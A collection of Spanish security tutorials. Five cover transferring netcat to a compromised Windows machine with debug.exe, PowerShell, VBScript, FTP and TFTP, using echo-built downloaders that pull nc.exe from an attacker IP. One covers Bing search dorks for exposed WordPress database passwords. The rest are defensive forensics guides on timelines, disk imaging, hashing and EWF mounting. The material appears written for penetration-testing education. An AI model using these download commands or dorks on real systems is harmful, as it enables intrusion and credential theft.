Utilizar Debug.exe para Transferir Archivos hacia un Sistema Comprometido

Body

Otro método común empleado para transferir archivos hacia sistemas operativos Windows es utilizando la utilidad “debug.exe”. El programa “debug.exe” puede ser utilizado para probar y depurar archivos ejecutables MS-DOS. Actuando como un ensamblador, desensamblador, y herramienta para realizar volcados hexadecimales.

El concepto detrás de la utilización de “debug.exe” para transferir archivos, es similar a la utilización de lenguajes de scripting como VBScript o PowerShell. Se utilizan comandos “echo” no interactivos para escribir el archivo binario en sus valores hexadecimales equivalentes, luego se utiliza el comando “debug.exe” para ensamblar el archivo de texto escrito en un archivo binario. Existe un límite respecto al tamaño de 64K para los archivos a ser creados por debug.exe.

Para la siguiente demostración, se tiene acceso previo en modo shell de comandos hacia un sistema Windows. Se intentará transferir la herramienta netcat desde Kali Linux hacia la máquina Windows comprometido.

Se copia el archivo “nc.exe” hacia el directorio temporal. Notar el tamaño del archivo es de aproximadamente 59K, lo cual está es inferior al limite de 64K mencionado.

# cp /usr/share/windows-binaries/nc.exe /tmp/

Es factible sin embargo reducir el tamaño del archivo binario utilizando una herramienta PE de compresión como “upx”. UPX (Ultimate Packet for eXecutables) o Último empaquetador para ejecutables, alcanza un excelente ratio de compresión y ofrece una veloz descompresión. La opción “-9” define el nivel de compresión a la mejor disponible.

# upx -9 /tmp/nc.exe

La herramienta “upx” ha optimizado el tamaño del archivo “nc.exe”, disminuyéndolo en aproximadamente 50%. El archivo Windows PE sigue siendo funcional, y puede ser ejecutado normalmente. Ahora el archivo está optimizado y listo para ser transferido. Se convierte el archivo “nc.exe” hacia un archivo de texto el cual será utilizado por “debug.exe” sobre la máquina victima, para reconstruir el archivo desde el texto volviéndolo un ejecutable. Esto se hace con una herramienta de nombre “exe2bat.exe”, el cual permite el proceso de conversión.

Se copia el archivo de nombre “exe2bat.exe” hacia el directorio temporal “/tmp/”.

# cp /usr/share/windows-binaries/exe2bat.exe /tmp/

Utilizando “Wine” se ejecuta la herramienta “exe2bat.exe”, definiendo el nombre del archivo ejecutable a convertir, y el nombre del archivo destino donde residirá el resultado de la conversión.

# cd /tmp/
# wine exe2bat.exe nc.exe nc.txt

Se visualiza la parte inicial del archivo “nc.txt”, resultado de la conversión.

# head nc.txt

El contenido del archivo de nombre “nc.txt”, puede ser sencillamente copiado y pegado en la shell remota.

C:\> echo e e900 >>123.hex
C:\> echo >>123.hex
C:\> echo r cx >>123.hex
C:\> echo e800 >>123.hex
C:\> echo w >>123.hex
C:\> echo q >>123.hex
C:\> debug123.hex
C:\> copy 1.dll nc.exe

Anotar como cada comando ejecutado no es interactivo, y simplemente hacen eco de un puñado de cadenas en hexadecimal dentro de un archivo. Casi al final del archivo de nombre “nc.txt”, se pueden visualizar los comandos necesarios para reconstruir el archivo ejecutable “nc.exe” sobre la máquina objetivo.

Si todo ha sido realizado correctamente, el archivo de nombre “nc.exe” ha sido creado satisfactoriamente en el sistema comprometido. Pudiendo utilizarlo para acciones posteriores a la explotación.

Fuentes:

https://technet.microsoft.com/en-us/library/bb491040.aspx
http://upx.sourceforge.net/
https://www.winehq.org/

Subir Archivos hacia un Sistema Comprometido utilizando PowerShell

Body

PowerShell es una plataforma de automatización y lenguaje de scripting para Windows y Windows Server, el cual permite simplificar la gestión de los sistemas. A diferencia de otras shells basadas en texto, PowerShell se beneficia del poder del Framework .NET, proporcionado objetos enriquecidos y un conjunto masivo de funcionalidades incorporadas para tomar control de los entornos Windows.

PowerShell viene instalado por defecto en versiones de Windows 7, 8 en adelante. Este motor de scripting puede ser aprovechado para descargar archivos hacia la máquina comprometida.

La siguiente demostración se basa en un sistema comprometido sobre el cual se tiene acceso shell de comandos en Windows.

El siguiente conjunto de comandos “echo” no interactivos, cuando son pegados en un shell remoto, escribirán un script PowerShell el cual permitirá descargar archivos sobre máquinas con PowerShell instalado.

C:\> echo $storageDir = $pwd > wget.ps1
C:\> echo $webclient = New-Object System.Net.WebClient >> wget.ps1
C:\> echo $url = "http:// 192.168.0.46/nc.exe" >> wget.ps1
C:\> echo $file = "nc.exe" >> wget.ps1
C:\> echo $webclient.DownloadFile($url,$file) >> wget.ps1

Al listar el directorio se encontrará el archivo de nombre “wget.ps1” conteniendo el script PowerShell.

La herramienta a descargar desde el sistema comprometido será netcat, razón por la cual se copia el archivo de nombre “nc.exe” hacia el directorio web raíz de Kali Linux.

# cp /usr/share/windows-binaries/nc.exe /var/www/html/nc.exe

Ahora se puede utilizar el comando powershell.exe para ejecutar el script de nombre “wget.ps1” creado, y descargar el archivo nc.exe hacia el sistema comprometido. La opción “-ExecutionPolicy” ajusta la política por defecto para la sesión actual y lo guarda en la variable de entorno $env:PSExecutionPolicyPreference. La opción “-Nologo” oculta el banner de derechos de copia al iniciar. La opción “-NonInteractive” no presenta un prompt interactivo hacia el usuario. La opción “-NoProfile” no carga el perfil Windows PowerShell. La opción “-File” ejecuta el script especificado en el alcance local, así las funciones y variables creadas por el script están disponibles en la sesión actual.

C:\> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Si todo ha sido realizado correctamente, el script PowerShell se ejecuta satisfactoriamente, y el archivo de nombre “nc.exe” ha sido descargado en el sistema comprometido. Pudiendo utilizarlo para acciones posteriores a la explotación.

Fuentes:

https://msdn.microsoft.com/en-us/powershell/mt173057.aspx
https://msdn.microsoft.com/en-us/powershell/scripting/core-powershell/c…

Subir Archivos hacia un Sistema Comprometido utilizando VBScript

Body

VBScript es un lenguaje activo de scripting desarrollado por Microsoft. Diseñado como un lenguaje ligero con un intérprete veloz, para usarse en una amplia variedad de entornos Microsoft VBScript utiliza “Component Object Model” para acceder hacia elementos del entorno dentro del cual está ejecutándose; por ejemplo; FileSystemObject(FSO) se utiliza para crear, leer, actualizar y borrar archivos.

VBScript viene por defecto instalado desde Windows 98 hasta Windows XP y Windows Server 2003. Este motor de scripting puede ser aprovechado para descargar archivos hacia la máquina comprometida.

La siguiente demostración se basa en un sistema comprometido sobre el cual se tiene acceso shell de comandos en Windows.

El siguiente conjunto de comandos “echo” no interactivos, cuando son pegados en un shell remoto, escribirán un script VBS el cual actúa como un sencillo programa de descarga utilizando el protocolo HTTP.


C:\> echo strUrl = WScript.Arguments.Item(0) > wget.vbs
C:\> echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
C:\> echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
C:\> echo Err.Clear >> wget.vbs
C:\> echo Set http = Nothing >> wget.vbs
C:\> echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
C:\> echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
C:\> echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
C:\> echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
C:\> echo http.Open "GET", strURL, False >> wget.vbs
C:\> echo http.Send >> wget.vbs
C:\> echo varByteArray = http.ResponseBody >> wget.vbs
C:\> echo Set http = Nothing >> wget.vbs
C:\> echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
C:\> echo set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
C:\> echo strData = "" >> wget.vbs
C:\> echo strBuffer = "" >> wget.vbs
C:\> echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
C:\> echo ts.Write.Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
C:\> echo Next >> wget.vbs
C:\> echo ts.Close >> wget.vbs

Se lista el directorio por el archivo de nombre “wget.vbs”, el cual ha sido correctamente creado.

La herramienta a descargar desde el sistema comprometido será netcat, razón por la cual se copia el archivo de nombre “nc.exe” hacia el directorio web raíz de Kali Linux.

# cp /usr/share/windows-binaries/nc.exe /var/www/html/nc.exe

El comando “cscript.exe”es una versión en línea de comandos de “Windows Script Host” el cual proporciona opciones en línea de comandos para ajustar propiedades del script. Con “cscript.exe” se puede ejecutar scripts tipeando el nombre del archivo script en la línea de comando.

Desde la máquina comprometida se ejecuta el script indicando la URL donde reside el archivo a descargar. También se define un nombre para el archivo a descargar.

C:\>cscript wget.vbs http:// 192.168.0.46/nc.exe nc.exe

Si todo ha sido realizado correctamente, el script se ejecuta satisfactoriamente, y el archivo de nombre “nc.exe” ha sido descargado en el sistema comprometido. Pudiendo utilizarlo para acciones posteriores a la explotación.

Fuentes:

https://en.wikipedia.org/wiki/VBScript
https://technet.microsoft.com/en-us/library/bb490887.aspx

Subir Archivos hacia un Sistema Comprometido utilizando FTP

Body

Los sistemas operativos Windows contienen por defecto un cliente FTP, el cual puede también ser utilizado para la transferencia de archivos hacia un sistema comprometido. El cliente FTP es un programa interactivo el cual requiere ingresar entradas. Se requiere por lo tanto intentar resolver este inconveniente, antes de intentar utilizar FTP como un protocolo para la transferencia de archivos.

Al ejecutar el cliente FTP con la opción “-h” se obtiene su ayuda.

C:\> ftp.exe -h

Utilizando la opción “-s:archivo” se puede convertir a la transferencia de archivos FTP en un proceso no interactivo. Esta opción permite especificar un archivo de texto conteniendo comandos FTP; siendo los comandos ejecutados automáticamente luego de iniciar FTP.

Desde la perspectiva del atacante se necesita configurar un servidor FTP, hacia el cual la máquina comprometida se conectará, para luego descargar el archivo requerido.

Pure-FTPd es un servidor FTP libre (BSD), seguro y de alta calidad. No proporciona sonidos ni artilugios inútiles, se enfoca en la eficiencia y facilidad de uso. Proporciona respuestas simples a necesidades comunes, además de características útiles únicas para usuarios personales como también proveedores de hosting. En Kali Linux se instala Pure-ftpd.

# apt-cache search pure-ftpd
# apt-get install pure-ftpd

Antes de cualquier cliente pueda conectarse hacia el servidor FTP, primero es necesario crear un nuevo usuario para Pure-FTPd, además de realizar otros ajustes.

Crear un nuevo grupo de nombre “ftpgroup”.

# groupadd ftpgroup

Crear un nuevo usuario. La opción “-g” define el nombre del grupo inicial para el usuario. La opción “-d” define el valor para el directorio “login” del usuario. La opción “-s” define el nombre de la shell “login” para el usuario.

# useradd -g ftpgroup -d /dev/null -s /etc ftpuser

El comando “pure-pw” gestiona archivos de usuarios virtuales para Pure-FTPd. La opción “useradd” añade un usuario, la opción “-u” define un ID de usuario, la opción “-d” define un directorio donde residirán los archivos a transferir.

La opción “mkdb” permite crear un archivo PureDB. Este comando lee el archivo “/etc/pure-ftpd/pureftpd.passwd” y crea un archivo “/etc/pure-ftpd/pureftpd.pbd” por defecto.

# pure-pw useradd usuarioftp -u ftpuser -d /opt/ftphome
# pure-pw mkdb

Se crea un enlace simbólico del archivo con nombre “60pdb” del archivo “PureBD”.

# cd /etc/pure-ftpd/auth/
# ln -s ../conf/PureDB 60pdb

Se crea el directorio donde residirán los archivos a transferir. Se cambian los permisos a este directorio. Y se inicia el servicio Pure-FTPd.

# mkdir /opt/ftphome
# chown -R ftpuser:ftpgroup /opt/ftphome/
# service pure-ftpd restart

Ya habiendo obtenido previamente un acceso shell en el sistema comprometido, y el servidor FTP configurado adecuadamente, se procede a transferir un archivo.

Copiar en el directorio donde residen los archivos a transferir la herramienta netcat “nc.exe”.

# cp /usr/share/windows-binaries/nc.exe /opt/ftphome/

Ahora se deben copiar los comandos FTP hacia un archivo de nombre “ftp.txt”, los cuales serán ejecutados de manera no interactiva.

C:\>echo open 192.168.0.46 21> ftp.txt
C:\>echo usuarioftp>>ftp.txt
C:\>echo 123456>> ftp.txt
C:\>echo bin>> ftp.txt
C:\>echo GET nc.exe>> ftp.txt
C:\>echo bye>> ftp.txt

Ejecutar el comando ftp con la opción “-s:ftp.txt”, lo cual permitirá descargar el archivo de nombre “nc.exe” (netcat) desde el servidor del atacante hacia el sistema comprometido.

C:\>ftp -s:ftp.txt

Si todo se ha realizado correctamente, el archivo nc.exe (netcat) ya reside en el sistema comprometido. netcat puede ser utilizado para realizar diversos procesos posteriores a la explotación.

Fuentes:

https://www.w3.org/Protocols/rfc959/
https://www.pureftpd.org/project/pure-ftpd
https://download.pureftpd.org/pub/pure-ftpd/doc/README.Virtual-Users
https://sourceforge.net/projects/nc110/

Subir Archivos hacia un Sistema Comprometido utilizando TFTP

Body

TFTP (Trivial File Transfer Protocol) o por su traducción al idioma español, protocolo trivial para transferencia de archivos, es un protocolo basado en UDP, el cual frecuentemente está restringido en las reglas de filtros en los firewalls. En los sistemas operativos Windows 7, Windows Server 2008 en adelante, la herramienta necesita ser explícitamente añadida durante la instalación. Por estas razones, TFTP no es el protocolo ideal para la transferencia en la mayoría de situaciones.

Una gran ventaja del protocolo TFTP para las transferencias de archivos, es porque el cliente tftp puede funcionar interactivamente, haciendo fácil la transferencia si existen las condiciones correctas.

En Kali Linux se procede a ajustar el servidor TFTP, creando primero un directorio temporal en el cual residirán los archivos a copiar.

# mkdir /tmp/tftp

atftpd es un servidor TFTP. Por defecto es iniciado por inetd en muchos sistemas, pero puede ser ejecutado como un demonio autónomo. La opción “--daemon” define la ejecución como un demonio. No se debe utilizar esta opción si atftpd es iniciado por inted. La opción “--port” especifica el puerto en el cual atenderá atftpd. Útil cuando se define la opción “--daemon”. Por defecto es el puerto estándar.

# atftpd --daemon --port 69 /tmp/tftp/

El propósito es copiar hacia el objetivo de evaluación ya comprometido, la herramienta netcat. Se procede entonces a copiar hacia el directorio utilizado por atftpd, el archivo de nombre “nc.exe”.

# cp /usr/share/windows-binaries/nc.exe /tmp/tftp/

En el sistema comprometido se ejecuta el comando “tftp”.

C:\> tftp

Para descargar; hacia el sistema comprometido; el archivo “nc.exe” se define la opción “-i”, la cual especifica un modo de transferencia binaria. En este tipo de transferencia el archivo es movido literalmente byte por byte. Se define “GET” para transferir el archivo destino desde el Kali linux hacia el sistema comprometido local.


C:\> tftp -i 192.168.0.X get nc.exe

Si todo ha sido realizado correctamente, el archivo “nc.exe” (netcat) está disponible en el sistema comprometido, listo para apoyar en diversas acciones posteriores a la explotación.

Fuentes:

http://linux.die.net/man/8/atftpd
https://social.technet.microsoft.com/Forums/office/en-US/ca02359c-0572-…

Bing Hacking utilizando BingDiggity (SearchDiggity)

Body

BingDiggity es la principal herramienta de Bing Hacking utilizando el API de Búsquedas en Bing para identificar vulnerabilidades e información sensible expuesta, relacionada a una organización mediante el motor de búsqueda Bing de Microsoft. Esta utilidad también proporciona funcionalidad de reconocimiento, la cual permite enumerar URLs, hosts, dominios y mapeos de hosts virtuales a IPs, etc. para las empresas objetivo.

En la opción “Settings” o Ajustes se requiere primero crear; o en caso ya se tenga; copiar una llave API para la Búsqueda en Bing. De esta manera se aprovechará mejor todas las funcionalidades de la herramienta.

En la opción “Site/Domains/IP Range” o “Sitio/Dominios/Rangos de IP” definir el nombre del host o dirección IP del objetivo a evaluar, para luego hacer clic en el botón “Add” o Añadir. También hacer clic en la pestaña “Advanced” o Avanzada, ubicado en el panel izquierdo. Para iniciar el escaneo hacer clic en el botón de nombre “SCAN” o Escanear.

Los resultados obtenidos serán el producto de la ejecución de la consulta “ip:54.86.X.X”.

Bing Hacking Database v2.0 (2012)

Para la explotación de los cambios recientes y las funcionalidades sin documentar dentro de Bing, se ha sido capaz de superar por completo la limitación anterior de Bing Hacking, y crear una completamente nueva BHDB, lo cual hará Bing Hacking tan efectiva como Google Hacking (sino más) para descubrir vulnerabilidades y fuga de datos en la web. También incluirá una completamente nueva base de datos de SharePoint Bing Hacking, conteniendo cadenas de ataque contra implementaciones SharePoint de Microsoft mediante Bing.

Más Detalles:

Algunos de los cambios recientes y funcionalidades no documentadas harán a Bing Hacking tan efectivo como Google Hacking.

La habilidad para ahora utilizar el operador de búsqueda “ext:”, el cual previamente no existía y la habilidad de imitar el operador de búsqueda “inurl:” de Google mediante el operador de búsqueda “instreamset:url:”

Ejemplo:

instreamset:url:"wp-config.php" "define('DB_PASSWORD',"

Objetivo a Aplicaciones SharePoint

instreamset:url:"layouts/viewlsts.aspx

Funcionalidad “contains:” de Bing.

contains:log WS_FTP.log

Llave API

En agosto del 2012, el API para búsqueda en Bing se movió a Mercado de Windows Azure, un lugar de comprar para conjuntos de datos, aplicaciones en la nube y herramientas de análisis. Está disponible libremente hasta para 5,000 consultas por mes.

La API para búsqueda en Bing permite a los desarrolladores insertar y personalizar resultados de búsqueda en aplicaciones o sitios web utilizando XML o JSON. Los resultados de acceso web, imagen, noticias y video como también búsquedas relacionadas y sugerencias de tipeo.

Para utilizar las Bases de Datos de Bing Hacking (BHDB), definir la dirección IP o nombre del host objetivo. En el panel derecho hacer seleccionar las consultas a realizar, para luego hacer clic en el botón de nombre“SCAN”. Los resultados; si se obtuviesen; serán mostrados en el panel intermedio.

Fuentes:

https://msdn.microsoft.com/en-us/library/ff795667.aspx
https://www.bishopfox.com/resources/tools/google-hacking-diggity/attack…
http://help.bing.microsoft.com/#apex/18/en-US/n1999/-1/en-US

Creación de Una Línea de Tiempo (Cronología) para Propósitos Forenses

Body

Una de las herramientas más populares para crear líneas de tiempo (Cronologías) es “mactime”, una aplicación de The Sleuth Kit desarrollada y mantenida por Brian Carrier.

Existen dos comandos principales para generar líneas de tiempo desde un sistema de archivos:

  • “fls” toma como entrada un archivo en bruto derivado de la adquisición de una dispositivo de almacenamiento( ya sea una única partición o una imagen en bruto de un disco con varias particiones) y devuelve una lista de todos los archivos (aquellos asignados o no, sin embargo el registro sigue estando contenido en la tabla de asignación de archivos), para su uso subsecuente con “mactime”.
  • “mactime” toma como entrada una lista, creada por “fls”, con todos los datos contenidos en el sistema de archivos bajo análisis y proporciona una línea de tiempo en formato ASCII.

FLS

En el caso donde una imagen dd contenga uno o más particiones, se debe incluir el parámetros “-o” para indicar a “fls” el desplazamiento hacia el sector (y no en bytes, como en el caso del parámetro “offset” del comando mount), del punto inicial de la partición requerida a analizar.

Se recomienda ejecutar antes el comando “mmls” de The Sleuth Kit, o el comando “fdisk”.

$ mmls ImagenUSB01.dd

Se ejecuta “fls” utilizando las siguientes opciones:

-o: desplazamiento al punto inicial de la partición.
-z: zona horaria sobre sistema utilizado para analizar.
-s: desajuste en segundos sobre el tiempo del sistema comparado con el tiempo real.
-m: el texto a colocar antes de la ruta y el nombre del archivo en la Linea de Tiempo.


$ fls -o 8064 -z America/Lima -s 0 -m E: -r ImagenUSB01.dd > /tmp/evidencia/Unidad_E.body

El resultado será obtener un archivo en formato “body”, conteniendo la linea de tiempo sobre el sistema bajo análisis.

Este formato no es inmediatamente accedible por el examinador, pues contiene códigos no ordenados de fechas y registros. Es por lo tanto necesario procesarlo para hacerlo factible de ser leído, en orden, y en un formato seleccionado.

MACTIME

“mactime” es una herramienta de The Sleuth Kit, el cual convierte una linea de tiempo desde el formato “body” hacia el formato CSV, ordenando los ítemes y cambiando los parámetros de visualización basado en las necesidades del examinador.

Usualmente el comando a ejecutar es el siguiente:

$ mactime -b /tmp/evidencia/Unidad_E.body -z America/Lima > /tmp/evidencia/Unidad_E.csv

La opción “-b” especifica la entrada, “-z” la zona horaria y “-d” representa el archivo de salida conteniendo la linea de tiempo en formato CSV.

El comando “mactime” tiene una funcionalidad resumen de reporte para actividades diarias y horarias detectadas sobre el sistema de archivos, lo cual es añadido hacia la función de convertir en formato CSV, y hacia la función de ordenar registros generados por el comando “fls”. Esta información puede ser esencial para evaluar cuales días; o el momento donde actividades de uso son detectables sobre una PC, mostrando picos y anomalías quizás debido a actividades de fin de semana las cuales duramente resaltan en una linea de tiempo tradicional.

Para obtener un reporte de la actividades diarias ocurridas sobre un sistema de archivos, únicamente añadir los parámetros “-d” y “-i” seguidos por el nombre del archivo en el cual se requiere guardar el reporte. El reporte de las actividades de tiempo es obtenida con los parámetros “-h” y “-i” seguido por el nombre del archivo en el cual se requiere guardar el reporte.

$ mactime -b /tmp/evidencia/Unidad_E.body -z America/Lima -h -i day /tmp/evidencia/resumen_dia.txt > /tmp/evidencia/resumen.txt

Se puede obtener de esta manera, un archivo conteniendo registros similares a los siguientes.

En este ejemplo se puede observar, el día jueves 8 de mayo es donde ocurrieron 37 actividades sobre archivos. Este valor podría no ser de interés, o en algunos casos ser de gran importancia.

Se sugiere verificar la continuidad o promedio de valores durante la mayoría de días analizados, los cuales se apoyen sobre un cierto valor; por ejemplo inferior a 10; y alcance; como en el ejemplo picos de 30 en un día específico. El examinador debe proceder en este punto a analizar con mayor detalle la línea de tiempo del día en el cual se encontró la anomalía.

La siguiente tabla es útil para entender el significado de los valores mostrados en la columna “Activity Type”. La cual indica las acciones realizadas sobre los archivos y carpetas en un lapso de tiempo determinado.

A continuación un ejemplo del resultado de ejecutar “mactime” únicamente para el día 8 de mayo.

$ mactime -b /tmp/evidencia/Unidad_E.body -z America/Lima -h 2014-05-08..2014-05-09

Fuentes:

http://sleuthkit.org/
http://www.sleuthkit.org/autopsy/help/index.html
http://wiki.sleuthkit.org/index.php?title=Mactime
http://wiki.sleuthkit.org/index.php?title=Fls
http://www.deftlinux.net/doc/EN-deft7.pdf
http://www.deftlinux.net

Captura de un Dispositivo de Almacenamiento para Propósitos Forenses

Body

La adquisición desde un dispositivo de almacenamiento es un proceso el cual permite copiar exactamente una unidad física objeto de un análisis. Con los sistemas Linux, esta operación es posible utilizando una de las siguientes herramientas; dd, ddrescue, dcfldd, dhash.

DD

dd toma como entrada un archivo o dispositivo, y devuelve sobre un archivo diferente o dispositivo, una secuencia binaria exacta constituyéndola. Por ejemplo:

$ sudo dd if=/dev/sdb of=/mnt/hgfs/Images/USB_Images/ImagenUSB01.dd

Este comando toma como entrada el dispositivo de almacenamiento “/dev/sdb”, y devuelve como salida una copia exacta dentro del archivo de nombre “ImagenUSB01.dd”.

El mismo procedimiento puede ser realizado para crear la copia exacta hacia un dispositivo de almacenamiento, en lugar de hacia un archivo. Por ejemplo:

$ sudo dd if=/dev/sdb of=/dev/sdc

Es importante dar especial atención a este comando, pues el dispositivo de destino; en este caso “/dev/sdc” es borrado y sobrescrito por el tamaño del dispositivo origen; en este ejemplo “/dev/sdb”.

Esto significa si “/dev/sdb” tiene un tamaño de 8GB y el destino “/dev/sdc” tiene un tamaño de 32GB, el anterior comando sobrescribirá los primeros 8GB del dispositivo objetivo “/dev/sdc”, con el contenido completo bit a bit de la unidad origen “/dev/sdb”, haciendo su contenido completamente irrecuperable.

DDRESCUE

Como dd, “ddrescue” permite copiar exactamente el contenido de una unidad de almacenamiento y guardarlo directamente hacia otra unidad de almacenamiento.

ddrescue es una evolución de dd: permite adquirir dispositivos de almacenamiento conteniendo errores mientras se accede a determinados sectores de la unidad. La adquisición mediante ddrescue también puede incluir aquellos sectores malos, los cuales serán adquiridos por un ajuste a cero en todos los bits no factibles de ser leídos. Por ejemplo:

$ sudo ddrescue /dev/sdb /mnt/hgfs/Images/USB_Images/ImagenUSB02.dd

Durante el proceso de adquisición, ddrescue proporciona actualizaciones de cuantos bytes son leídos y escritor, cuantos errores han sido encontrados y la velocidad de adquisición calculado en bytes por segundo.


DCFLDD

dcfldd es otra versión mejorada de dd, la cual puede ser utilizada para calcular el valor Hash; MD5 y SHA1 individualmente o juntas, durante la adquisición desde un dispositivo. Durante la adquisición se proporciona información detallada sobre lo escrito y leído. Por ejemplo:

$ sudo dcfldd if=/dev/sdb of=/mnt/hgfs/Images/USB_Images/ImagenUSB03.dd hash=sha1 hash=md5

DHASH

Este software permite la adquisición en formato dd y el cálculo simultaneo del Hash. Es 10% más rápido comparándolo con los otros programas disponibles. Por ejemplo:

$ sudo dhash -t -f /dev/sdb --md5 --sha1 -o /mnt/hgfs/Images/USB_Images/ImagenUSB04.dd

La sintaxis detallada permite adquirir y de manera simultanea calcular los valores hash MD5 y SHA1 del dispositivo “/dev/sdb”.

Fuentes:

http://linux.die.net/man/1/dd
https://www.gnu.org/software/ddrescue/manual/ddrescue_manual.html
http://linux.die.net/man/1/dcfldd
http://www.deftlinux.net/doc/EN-deft7.pdf
http://www.deftlinux.net

Calcular el Hash Desde un Dispositivo de Almacenamiento para Propósitos Forenses

Body

El Hash de un bloque de datos; por ejemplo un archivo; es una secuencia de caracteres alfanuméricos de longitud fija calculado por una función matemática.

Esta función matemática es mono direccional; es decir no es posible reconstruir el bloque originario desde una cadena Hash.

Cualquier alteración de los datos, así sea mínimo, resultará en un Hash completamente diferente.

Con los sistemas Linux se puede utilizar alguna de las siguientes aplicaciones para generar una cadena Hash; md5sum, sha1sum, md5, sha1 y sha256 deep, además de “dhash”.

MD5SUM

El acrónimo MD5 (Message Digest Algoritm 5) identifica un algoritmo Hash criptográfico desarrollado por Ronald Rivest en 1991 y estandarizado con el Request for Comments - RFC 1321.

Este algoritmo, tomando como entrada una cadena de longitud arbitraria (como un archivo), produce como salida otra cadena de 128 bits utilizada para calcular la firma digital de una entrada. El cálculo es muy rápido, y la salida devuelta; también conocida como “Suma de Verificación MD5” o “Hash MD5”; es de tal forma, es altamente improbable ocurra una colisión entre los Hashes de dos archivos diferentes. Finalmente, como la mayoría de algoritmos de Hashing, la posibilidad de derivar la cadena inicial desde el Hash resultante es casi inexistente.

Por ejemplo, para calcular el Hash de una unidad USB utilizar el siguiente comando.

$ sudo md5sum /dev/sdb

SHA1SUM

El termino SHA indica una familia de cinco funciones Hash criptográficas desarrolladas desde 1993 por la Agencia de Seguridad Nacional (NSA), y publicados por NIST como un estándar federal por el gobierno de los Estados Unidos.

Como cualquier algoritmo Hash, SHA genera un valor de longitud fija desde una mensaje de longitud variable utilizando una función mono direccional.

Los algoritmos de la “familia” son denominados SHA-1, SHA-224, SHA-256, SHA-384 y SHA-512. El primero tipo SHA-1, calcula una cadena de únicamente 160 bits, mientras los otros calculan un resumen de una longitud en bits igual al número indicado por su acrónimo.

Al momento de escribir el presente texto el algoritmo más ampliamente utilizado de la familia SHA es SHA-1, el cual es utilizado en muchas aplicaciones y protocolos.

Para calcular el Hash SHA-1 de una unidad USB utilizar el siguiente comando.

$ sudo sha1sum /dev/sdb

MD5 y SHA DEEP

MD5, SHA1, SHA256, SHA512 Deep permiten calcular el valor Hash de más archivos de manera recursiva. Por ejemplo:

$ md5deep -l Metadata/
$ sha1deep -l Metadata/

DHASH

DHASH permite calcular los valores Hash desde archivos y dispositivos de almacenamiento, proporcionando información en tiempo real; como el tiempo estimado antes de finalizar la operación, y el progreso del cálculo.

Se puede generar también un reporte en formato HTML.

De las pruebas de laboratorio, DHASH es 10% más rápido en comparación a las otras herramientas detalladas.

Por ejemplo:

$ sudo dhash -t -f /dev/sdb –m5 –sha1 -l /tmp/dhashlog.html

La sintaxis antes detallada permite calcular de manera simultanea el Hash MD5 y SHA-1 del dispositivo /dev/sdb.

Finalizado el proceso es factible visualizar el archivo de nombre “/tmp/dhashlog.html”.

Fuentes:

http://linux.die.net/man/1/md5sum
http://linux.die.net/man/1/sha1sum
http://md5deep.sourceforge.net/md5deep.html
http://en.wikipedia.org/wiki/MD5
http://en.wikipedia.org/wiki/Secure_Hash_Algorithm
http://www.deftlinux.net/doc/EN-deft7.pdf
http://www.deftlinux.net

Montar una Imagen Forense EWF o de EnCASE Dividida en Múltiples Archivos

Body

El montar una imagen forense adquirida en formato .EWF puede ser realizada con la aplicación “ewfmount”. Este programa es capaz de virtualmente convertir archivos EWF hacia el formato en bruto, permitiendo al dispositivo ser montado como si fuese una imagen adquirida en formato dd.

Si se tiene un disco dividido en los siguientes archivos cfreds_2015_data_leakage_pc.E01, cfreds_2015_data_leakage_pc.E02, cfreds_2015_data_leakage_pc.E03, y cfreds_2015_data_leakage_pc.E04.

Utilizando el siguiente comando:

$ sudo ewfmount cfreds_2015_data_leakage_pc.E01 /tmp/evidencia/

Es posible concatenar la imagen divida y realizar una conversión virtual en el formato “raw”.

La operación generará como resultados la creación de un archivo en “/tmp/evidencia/ewf1”.

Este archivo será identificado por el sistema como un único archivo dd, aunque virtual, podría ser montado siguiendo el procedimiento respectivo.

$ sudo mount -t ntfs -o ro,loop,offset=$((512 * 206848)) /tmp/evidencia/ewf1 /tmp/windows

Fuentes:

http://www.cfreds.nist.gov/
https://www.pinguin.lu/index.php
http://www.forensicswiki.org/wiki/Libewf
http://www.deftlinux.net/
http://www.deftlinux.net/doc/EN-deft7.pdf